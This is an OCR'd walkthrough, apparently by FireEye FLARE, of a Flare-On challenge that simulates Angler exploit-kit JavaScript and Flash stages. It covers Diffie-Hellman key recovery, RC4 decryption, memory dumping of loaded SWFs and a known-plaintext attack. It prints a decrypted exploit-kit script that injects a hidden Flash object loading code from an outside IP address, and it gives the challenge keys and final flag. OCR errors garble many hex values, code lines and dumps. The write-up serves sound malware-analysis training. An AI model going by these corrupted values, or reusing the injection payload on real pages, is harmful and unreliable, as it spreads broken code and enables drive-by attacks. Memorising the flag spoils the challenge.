orders) which are equal inlength and returns a unique x such that x = X[i] mod N[i] for alli. For
clarity, we are really just using the Chinese Remainder Theoremto solve the following system of
congruencies and find x, whichis the secret key of our interest.

x = 0x0 mod (0x1)

x = 0x20 mod (0x71)

x = 0x6ac mod (0x15f9)

x = 0xfa82d mod (0x2b4a76)
x = 0x8691cf mod (0xe0738e)

X = 0x3443a62197ed37b mod (0x50a2eel23c3d54e)

Note that not all of the orders are pair-wise coprime, as generally described in the conventional
definition of the Chinese Remainder Theorem. Magma’s and Sage’s implementation of the Chinese
Remainder Theorem has already taken such corner cases into account. While you don’t have to worry
aboutissueslike thisif you are usingthese calculators, you should definitely considerand address such
non-coprime case if you are implementing yourown Chinese Remainder Theorem.

Nevertheless, the Chinese Remainder Theorem gives us:

X = Ox8ede69460cac52c9b467d 795fecdl

This x is also Alice’ssecret a inthe example above. We can plugthis x back in and solve for the shared
secret key K.

The snippetto decrypt the encrypted message dict.fffff usingthe resulting DH shared secret K and the
output are shown in the following figures. Note that the secret b is only available on the server side,
which isnot visible foryou. | am usingthat only to verify the correctness of the shared secret K. The
content of ctext can be found inthe server’s HTTP response.
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// Value Test
var BigInteger = jsbn.Biglnteger;

var g = new BigInteger("91a812d65f3feal32099f2825312edbb", 16);
var p = new BigInteger ("3a3d4c3d7e2a5d4c5c4d5b7elc5a3c3e", 106);
var A = new BigInteger("16f2c65920ebeae43aabb5c9a£923953", 16);
var B = new BigInteger("3101c01£f6b522602ae415d5df764587b", 16);
var a = new BigInteger("8ede69460cac52c9b467d795fecdl", 16)

var b = new BigInteger ("745c7ca895b15e39ff6cd9%8b9d46819", 16);

var Kdh a = B.modPow(a, p);
var th:b = A.modPow (b, p);
print ('Kdh a: ' + Kdh a.toString(16));
print ('Kdh b: ' + Kdh b.toString(16));

var ctext =
"OSJOwbEie8N7HF3MDMAOaSvhjaZDSrcpMCbZWALGX] 9zHa22BWt IwPFeBMVRGGgu2msbNEfXWaKmJyBQIN2TcgXHI0gsg
was7skKtboGdyRUEFn42Yjms31iZ2zP2LIXy5aNdXi0a65nMSrm7H4dOXdXxXvAENNVWCHUgQa002k1XzS91Hhl1Ile2yxiJd
0z1CAOaOdbRSTtcqNORWT fFB3EC15gPDpQyR+

cyeYc3lhr51DAfw2zXjwDMIz 9J1Wrmbrczyts8rMk+D5U6JMANEY+dGAO3P1i+1EOhz5NbEN7HCEF+GslcJrw3WlrXsuK8U
FipnOYpnFahDxSypf06G8gjEedzhp/
CB7GAMLeKTSpQjm2KWiM711KB4YwWw+P+UUHFupxKiMigc9a541R1jG4kwX1QL91/hiFJFmgO/7YJ4pYy4TjPEz4wpV gJ
8SbK2HLws7EZz+

ixeltFvM4TWIPTqQhdOetvjUWWoeI3AQwv12JIEALIPNnQv+pkvRj522kNGHp 9TVeXx2UQPH+71ecGRwW300YOKisz0xFSU
cDCVS2urbE0bQjO0+ox6laeyIThB6C+
OrFwVsUdv/wiYiePQxUSDui6+gjZgKjIzolTouCubopnmvIpJOrDI3GxCYqu3j90cISqg0JZaxEl1kVOth42Mgz6SsD54PK
2KPhW642NWg8ksGgbWM/

djTeJdbqYogGAHBWEMWeumPt TOZZDF7IVGn/Tk20rGMXm7kPJdc8SrMWwXIjxk3UMAAK7xPQhO0YyB1Tmr42SeHP6Q==";

var retl = JSON.parse (rc4 ('how can you not like flareon',6 decode b64 (unescape (ctext))));
var ret2 = rc4(Kdh a.toString(l6), retl.fffff);
print ("final result: " + ret2);

$ d8 decrypt_msg.js
Kdh a: 24c9deb545f04e923acSec3bcfe82711f
Kdh b: 24c9deb545f04e923acbec3bcfe82711f
final result: var txt = '<object type="application/x-shockwave-flash"
data="http://10.14.56.20:18089/will tom hiddleston be taylor swifts last song of her career.m
eh" allowScriptAccess=always width="1" height="1">"';

txt = txt + '</object>';

try |

document.getElementById ("T6Fe3dfg") .innerHTML = txt;

} catch (e) {};
alert ("Congratz! Wooohooooo, you've done it!\n\nGoing thus far, you have already acquired the
basic skillset of analyzing EK's traffic as well as any other web attacks along the way. You
should be proud of yourself!\n\nIt is not the end though; it's only the beginning of our
exciting Jjourney!\n\nNow would be a good time to take a breather and grab some beer, coffee,
redbull, monster, or water.\n\n\n\nClick 'OK' when you're ready to show us what you're made
of!'"™);
alert ("Cool, seems like you're ready to roll!\n\n\n\nThe key for part2 of the challenge
is:\n'HEAPISMYHOME'\n\n\n\nYou will need this key to proceed with the flash challenge, which
is also included in this pcap.\n\nGood luck! May the force be with you!");
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As shown in Figure 18, whenthe decrypted_code (in Figure 13) gets evaluated, the browser will send a
requestto the server as the object tag containing an URL pointingto our second stage flash challenge

gets assigned to the ‘T6Fe3dfg’ DOM element. Then the two alert boxeswill pop up ifit’sdone live.
Here these two alert messages are trying to keep you on the right track.

The key to start the second stage flash challenge is highlighted inyellow: HEAPISMYHOME. Of course,

you can also try to brute force the first key and completely bypass this puzzle. Though | imagine that’s
not going to be fun.

Note that there is more than one way to solve this:

1. Brute-forcingx (which is quite expensive)
2. Do thealgebra (Pohlig-Hellman, Index-Calculus, etc)

If analyzingan online EK system, you even have the optionto debugthe traffic live and extract the
value. Keepin mind that these techniques work simply because p wasn’t chosen properly;if p is made
to be a safe-prime orhuge in size (i.e 1024bit), which Angler did, then none of the algorithms are going
to work, and we only have the option of debuggingthe live session or man-in-the-middling the D-H

system. Analyzing pcaps wouldn’tbe possible at all. To the best of our luck, Angler (and Nuclear) s
history.

Congratulations! You are on to the next part of the challenge (highlightedinturquoisein Figure 18).
Now that you have gone this far, you should have solid fundamental skillsin analyzing the current web
attacks on JavaScript side and bypassing (most of) anti-analysis techniques. This entire challenge pretty
much mirrors what we have been dealing with in 2015 and 2016. Hope you all have as much fun (or

pain) as we did while working on this challenge. The next part of the challenge will helpyou get
prepared for analyzing Flash.

FLAVA Challenge (Flash)

When analyzingan SWF, begin by looking at the header. It starts with a 3-byte signature that can be
FWS, CWS, or ZWS.



)
<©

FireEye

FWS isuncompressed.

CWS iscompressed with ZLIB where data afterthe first 8 bytesis compressed.
ZWS iscompressed with LZMA where data after the first 12 bytesis compressed.

FLARE

e (x46,0x57, 0x53 (“FWS”). An FWS signature indicates an uncompressed SWF file.

e (x43,0x57, 0x53 (“CWS"). A CWS indicates that the entire file after the first 8 bytes (that is,
after the FileLength field) was compressed by using the ZLIB open standard. The data format
that the ZLIB library uses is described by Request for Comments (RFCs) documents 1950 to
1952. CWS file compression is permitted in SWF 6 or later only.

e 0Ox5a, 0x57, 0x53 (“ZWS”). A ZWS indicates that the entire file after the first 8 bytes (that is,
after the FileLength field) was compressed by using the LZMA open standard: http://www.7-

Format of SWF when CWS is used:

Name Size (Bytes)
'CWS'+Version 4
uncompressedLen 4
Compressed data N

The official specheader for ZWS isa little odd. An easier way to understand it isto read it as defined

below.

Format of SWF when LZMA isused:

Name
"IWS'+Version

Size (Bytes)

scriptLen

compressedlLen

LZMA props

LZMA data

LZM A end marker

NPAIGIENENES

An example SWF file can be seeninFigure 19.
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0000h: 53 s
0010h: pRalel 44 11 19 00 00 00 7F 13 CB 01 00 [rS Dueverann Baa
0020h;: 00 3C 72 64 66 3A 52 44 46 20 78 6D 6C 6E 73 3A .<rdf:RDF xmlns:
0030h: 72 64 66 3D 27 68 74 74 70 3A 2F 2F 77 77 77 2E «rdf="http://www.
0040h: 77 33 2E 6F 72 67 2F 31 39 39 39 2F 30 32 2F 32 w3.0rg/19%9/02/2
0050h: 32 2D 72 64 66 2D 73 79 6E 74 61 78 2D 6E 73 23 2-rdf-syntax-ns#
0060h: 27 3E 3C 72 64 66 3A 44 65 73 63 72 69 70 74 69 '><rdf:Descripti
0070h: 6F 6E 20 72 64 66 3A 61 62 6F 75 74 3D 27 27 20 on rdf:about=''

0080h: 7B 6D 6C 6E 73 3A 64 63 3D 27 68 74 74 70 3A 2F =xmlns:dc='http:/
0090h: 2F 70 75 72 6C 2E 6F 72 67 2F 64 63 2F 65 6C 65 /purl.org/dc/ele
00AOh: 6D 65 6E 74 73 2F 31 2E 31 27 3E 3C 64 63 3A 66 ments/l.1'><dc:f
00BOh: 6F 72 6D 61 74 3E 61 70 70 6C 69 63 61 74 69 6F ormat>applicatio
00COh: 6E 2F 78 2D 73 68 6F 63 6B 77 61 76 65 2D 66 6C n/x-shockwave-fl
00D0h: 61 73 68 3C 2F 64 63 3A 66 6F 72 6D 61 74 3E 3C ash</dc:format><
00EQOh: 64 63 3A 74 69 74 6C 65 3E 41 64 6F 62 65 20 46 dc:title>Adobe F
00F0h: 6C 65 78 20 34 20 41 70 70 6C 69 63 61 74 69 6F 1lex 4 Applicatio
0100h: 6E 3C 2F 64 63 3A 74 69 74 6C 65 3E 3C 64 63 3A n</dc:title><dc:
0110h: 64 65 73 63 72 69 70 74 €9 6F 6E 3E 68 74 74 70 description>http
0120h: 3A 2F 2F 77 77 77 2E 61 64 6F 62 65 2E 63 6F 6D ://www.adobe.com

AT3INR. 28 TN 77 FW® A T8 RI TA IR AW AR &M K5 TR 3IM 9@ ImvAadnnre / Flave !

Template Results - SWF.bt

Name Value Start Size Color
v struct SWF File Oh 723E91h Fg: Bg:
struct SWFHEADER Header i Bg:
» uchar Signature[3] Oh 3h Fg: Bg:
uchar Version 14 3h 1h Fg: Bag:
uint FileLength 7487121 4h 4h Fg: Bg:
» struct RECT Rect 8h Sh Fg: Bg:
ushort FrameRate 24 11h 2h Fg: Bg:
ushort FrameCount 2 13h 2h Fg: Bg:
Stage 1l

The goal of this stage inthe challenge isto simulate the second stage of an exploitkitfoundin the wild.

It begins by using a key provided by the user to decrypt. When you run the first stage of the Flash
challenge you’ll be presented with a page requestinga key.
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Key:

done.

Flare-On Flash Challenge Pt. 1

Cnce yvou enter the key please give me a little time ta
crunch those numbers. I'l let you know when I'm

Maote: Running the debug build of Flash can cause unexpected errars.

| | { need the key 50 we can keep going.

Submit |

Begin by decompilingstage 1 of the challenge. You will come across a block of code inthe main class
that will call a function inanother class that will decryptand load a SWF fileinto memory. The key used
for the decryptionis provided by the user in a textinput form.

import SwfLoader.Run; // Interesting import.

protected function submitButton clickHandler (paraml:MouseEvent) : void
{
this.a = new Run(); // Interesting class.
this.a.d3cryp7AndLOad (this.key.text) ; // Important Function call.
if(this.a.loaded)
{
Alert.show("Now what?");
Alert.show("That was underwhelming....");
Alert.show("....");
Alert.show("Unlocked!");
}
else
{
Alert.show("Wrong!") ;

If you quickly take a look at the SwfLoader package Run class you should find thatitisindeed
decrypting binary data, usingthe provided key, and loadingthe object into memory if the MD5
checksum matches. The code uses RC4 to decrypt the binary blob and it uses the 1oadBytes function
of the Loader class to load the data into memory. More information can be found here.



http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/Loader.html#loadBytes()
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{

public function d3cryp7AndLOad(paraml:String) : void

var locZ2 :Loader = new Loader();
var loc3 :LoaderContext = new LoaderContext (false,ApplicationDomain.currentDomain,null);
// Binary data.
var locd4 :Class = Run challengel;
// Decrypt the binary data.
var loc5 :ByteArray = prOudB3lly(ByteArray(new loc4 ()),paraml);
// If the hash of the decrypted binary data matches the given
// hash, load the plaintext into memory using loadBytes.
var _loc6_:String = "eZeebc65ba83f89a5de635f4476d1ba8";
if (MD5.hashBytes( loc5 ) == loc6 )
{
this.loaded = true;
~loc2 .loadBytes( loc5 );

Using the key “HEAPTSMYHOME” from the JavaScript communications in the landing page, load the
embedded SWF into memory.

To find the SWF in memory, you can eitheruse “hooking”, or “searching”.

Hooking Searching
I3 (o] (-], Hook the function call to the loadBytes | Finding the SWF headerin
method in the AVM. Dumping the memory and dumping the
argument to disk. data to disk.
Pros Veryreliable. Quick to do.
Very fast.
Cons Could take long to implement. Susceptible to noise.
Slow.
Tedious.

We will leave call hooking as an exercise for the reader. Searching in memory for a SWF file is by far the
easiestand should always begin with lookingfor “F” “W” “S”. The goal is to separate the noise from
what’s important. Whenever Flash loads an SWF file, italsoloads other support SWFs as well.
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Searching for SWFs in memory could reveal somethinglike the following.

0:020> s -a 0 L?80000000 "FWS"

// Possible SWF.

00cel8e8 46 57 53 08 89 9c 00 00-78 00 05 5f 00 00 Of a0 FWS.....x..

// Missing version number. Noise.

00cfl182c 46 57 53 00 3¢ 3f 00 00-bc 8f 41 00 31 2e 32 2e¢ FWS.<?....A.1.2
00cf190c 46 57 53 06 00 00 00 00-00 00 0O 00 46 57 53 07 FWS......... FWS
// Missing file size. Noise.

00cf1918 46 57 53 07 00 00 00 00-00 OO 0O 00 46 57 53 08 FWS.........FWS
00cfl1924 46 57 53 08 00 00 00 00-00 00 00 00 62 6f 6C 64 FWS......... bold
00cfla08 46 57 53 00 00 00 00 00-00 00 OO OO0 OO0 00 00 OO0 FEFWS. . e'ewueewwnnn
// Possible SWFs.

00eb8d08 46 57 53 08 07 1b 00 00-78 00 05 dc 00 00 05 aa FWS..... Xeveunnn
00eba8l0 46 57 53 0f 0f 26 00 00-78 00 06 40 00 00 08 84 FWS..&..x..0Q@....
00ebce20 46 57 53 08 9c 4e 00 00-78 00 06 4c 80 00 08 84 FWS..N..x..L....
033d4180 46 57 53 07 e2 07 00 00-78 00 05 5f 00 00 Of a0 FWS.....x.._
039dc280 46 57 53 08 89 9¢c 00 00-01 00 00 00 20 00 00 OO0 FWS.........
039dca30 46 57 53 08 89 9¢c 00 00-01 00 0O 00 20 00 00 OO0 FWS.........
07520020 46 57 53 0e 91 3e 72 00-78 00 04 €2 00 00 Oe a6 FWS..>r.X.......
// High memory. Most likely noise.

7628787e 46 57 53 33 c0 e8 le 3c-fc ff 89 45 d4 3b c6 74 FWS3...<...E.;.t
765a892f 46 57 53 8d 8d 54 fe ff-ff e8 a3 dc ff ff 83 bd FWS..T..........
7668c850 46 57 53 65 74 46 69 72-65 77 61 6c 6c 52 75 6¢c  FWSetFirewallRul
7736649c 46 57 53 65 74 46 69 72-65 77 61 6C 6C 52 75 6C FWSetFirewallRul
0:005> s -a 0 L?80000000 "FWS"

07520020 46 57 53 0e 91 3e 72 00-78 00 04 e2 00 00 Oe a6 FWS..>r.X.......
// New possible SWF in search.

0c6d0020 46 57 53 . 49 0b 60 00-78 00 04 e2 00 00 Oe a6 FWS.I. .X.......
// New possible SWF in search. Invalid version number of 0OxE3. Noise.
Oca4d42f5a 46 57 53 e3 5e 3d 3d 03-d7 c5 3b 81 3 5a 8d 98 FWS."==...;..%Z..
7628787e 46 57 53 33 c0 e8 le 3c-fc ff 89 45 d4 3b c6 74 FWS3...<...E.;.t
Finding Stage 2

Highlighted is one of the newly found SWFs with a valid -number and file size. You can almost
be certain that this is the loaded SWF file, because Figure 24 reveals only two new addressesin the
search, and one of them contains an invalid version number. Write the validfile todisk and analyze
with your decompilerof choice. We will referto this SWF as Stage 2.
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Upon initial analysis of Stage 2 you should notice that it triesto run a Stage 3 usinginformation
provided by three external parameters flare, x, and y. The first parameter is flare and it is simply
checked for a value of “On”. The other two parameters are not provided which leaves us with three
unknowns, x, y, and the Stage 3.

// Get parameters object.

var _locl :0bject = this.root.loaderInfo.parameters;
// Check if parameter "flare" value is "On".
if( locl .flare == "On")
{
~loc2 = new Loader();
~loc3 = new LoaderContext(false,
this.root.loaderInfo.applicationDomain,
null);
this.Bk- --- B = new Array();
this.Bk- - --B = new ByteArray();
// Get parameter "x" value.
this.B- - -B = locl .x;
// Get parameter "y" value.
this.B-- - R = 1locl .y;
// Interesting class.
~locd = new B--—- -B();
// Store MD5 value.
~loc5 = "6d9785fb079felffl19586b47788e3354";

Further analysis of Stage 2 should reveal that x isa decryption key and that a number of binary blobs
are decrypted usingthis key. You will also find that y isa mapping of binary blobs usedto build another
blob —this is Stage 3. Looking closely at the RC4 algorithm you will notice that there are 2
implementations of RC4 encryption. The first uses a nonce to derive a key (RC4_A) and the second one
(RC4_B) doesnot, enablinga known plaintext attack wherein one can recover the keystreamto decrypt
other binary blobs using the same key.



<® FireEye F LARE

// Adding the binary data objects in the SWF to an array.

loc6 = ByteArray(new loc4d .B-- R());
Ehis.BFi———iﬁ.push(ilocgi); - T
~loc7 = ByteArray(new locd4 .B- - -- B());
this.f- --- B.push( loc7 );

loc8 = ByteArray(new loc4d .B- - DB());
this.B- --- B.push( loc8 );
~loc9 = ByteArray(new locd .B--  B());
this.f- --- B.push( loc9 );
~locb55 = ByteArray(new locd .B- - -B());
this.k- --- B.push( loc55 );

// Encrypted using the RC4 B algorithm with the same key.
// susceptible to a KPT attack.
_loc56 = ByteArray(new loc4 .B- - -B()); // Object A

_loc57 = ByteArray(new loc4 .B- - B()); // Object B

An analysis of the binary blobs will lead to an embedded object named
Int31Inslde t3stImgurvnUziJP alludingtoan Imgur link.Using this image you can conduct a

KPT attack on the algorithm and reveal the keystream, which can be usedto decrypt one of the other
binary blobs containing the x and y parameters.

public function B--- -B()
{

this.B- - -B = B- —— B;

// Inter;szzng name.
this.B- - B = Int31lInslde t3stImgurvnUziJP;
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Imgur: Tha most awesom i

0 © imgur.com/ynUziJP

= Hodor [ Hold The Door

vnUziOP-keystream.png &

0000h: AE B6 18 BO SD 53 BD 27 68 74 48 57 69 43 BE @%.°]S%'htH"WiCZ
0010n: 1B C2 A5 AC BO FC 75 6D 21 6D DO A5 B9 8F 63 9F .A¥- dum!mp¥:.c¥
0020n: 51 74 6C OB 61 49 33 51 8F C2 FO SE SC 39 C1 07 Qtl.ar3Q.AaZ\oA.
0030h: 5B CA OE 71 D9 6C A6 62 1B 24 CD D5 F9 79 91 D4 ([E.qUl!b.S$iCay 0
0040n: E6 7C AB B5 B8 64 3D 1B BO 18 E6 42 BA 41 66 5E &|«p.d=.°.aB3ar"
0050n: 09 BA 4E DA 82 E9 DF 1F E3 08 3E B6 16 AB 90 D7 .35NU,éR.3.>F.«.x
0060h: 8B 07 B6 50 4C AE F9 AR C5 6D D4 96 08 06 AE DE < .9PL®U*imb-..®B
0070nh: 56 C2 FF 71 48 B0 51 BS 98 22 F5 F4 F2 C6 BS 28 VAYQHQu~"8383Eu (
noRNk- 7F FS5 15 CS 35 68 08 20 17 22 7A QF 2N SA 28 C9 ~5 FSk "5 _7iF

XOR the keystreamat Figure withObjectA from Figure to uncoverthe following:
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plaintext2.bin &  vnUalP-keystream.png

0000h: PS 3A 20 31 42 52 30 4B 33 4E 43 52 59 50 54 30 x: 1BROK3NCRYPTO
0010h: 46 54 57 20 79 3A 20 30 3A 35 2C 34 35 3A 34 33 FIW y: 0:5,45:43
0020h: 32 2C 31 30 3A 36 35 35 2C 31 31 3A 37 38 2C 33 2,10:655,11:78,3
0030h: 37 3A 38 33 31 35 2C 31 31 3A 31 32 34 2C 33 38 7:8315,11:124,38
0040h: 3A 34 2C 31 37 3A 34 2C 37 3A 35 39 39 2C 32 t4,17:4,7:599,24
00S0h: 3A 33 35 34 2C 32 SA 33 37 34 2C 39 3A 33 30 +354,2:374,9:308
00E0R: 2C 32 33 3A 35 36 35 2C 31 3A 31 32 30 38 2C 3 +23:565,1:1208,1
N7k 37 33 33 38 38 2L 34 37 38 2C 32 3G 3A 34 34 J:.3G8 47:8 00G-44

w W
LLU
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=
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We can now take our x and our y and use them as parameters for the SWF. Please see the following
links for more information:

http://help.adobe.com/en US/FlashPlatform/reference/actionscript/3/flash/display/Loaderlnfo.html#
parameters

https://helpx.adobe.com/flash/kb/pass-variables-swfs-flashvars.html

Your resulting HTML code harness for the SWF should look like the following:

<object type="application/x-shockwave-flash" data="<filename>.swf" width="550" height="400">
<param name="movie" value="<filename>.swf" />
<param name=FlashVars value="flare=0n&x=1BROK3NCRYPTOFTW&y=0:5,45:432.." />

</object>

Defeating the Spray

We now have all the missinginformation we need to run the SWF. You should notice that the
parameters are used to decrypt the filesand create a SWF file usingthe bytes withinthem. Afterthat
operation completes, it will generate a number of fake SWF files, place them into an array of size 2048,
then place the Stage 3 SWF into the array, shuffle them, and load everythinginto memory. Searching
memory for the loaded SWF file won’t be as easy as it was before. There are a few ways to go about
this at this point, but the easiestthingto do is patch the SWF file and preventall of the fake SWF files


http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/LoaderInfo.html#parameters
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/LoaderInfo.html#parameters
https://helpx.adobe.com/flash/kb/pass-variables-swfs-flashvars.html
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from beinggeneratedin the first place. In this case, we will change the array length from 2048 to 1, let
it run, and extract the SWF file from memory.

Stage 3

You should now have the Stage 3 SWF. The first thing you will notice is that there are a bunch of
branches, where some are taken and some are not. You’ll need to read all the bytes being writteninto
the ByteArray whenthe branches succeed to get the flag. This is a pretty simple exercise and once
complete you will come up withthe flag: “angl3rcan7ev3nprim3@flare-on.com”.
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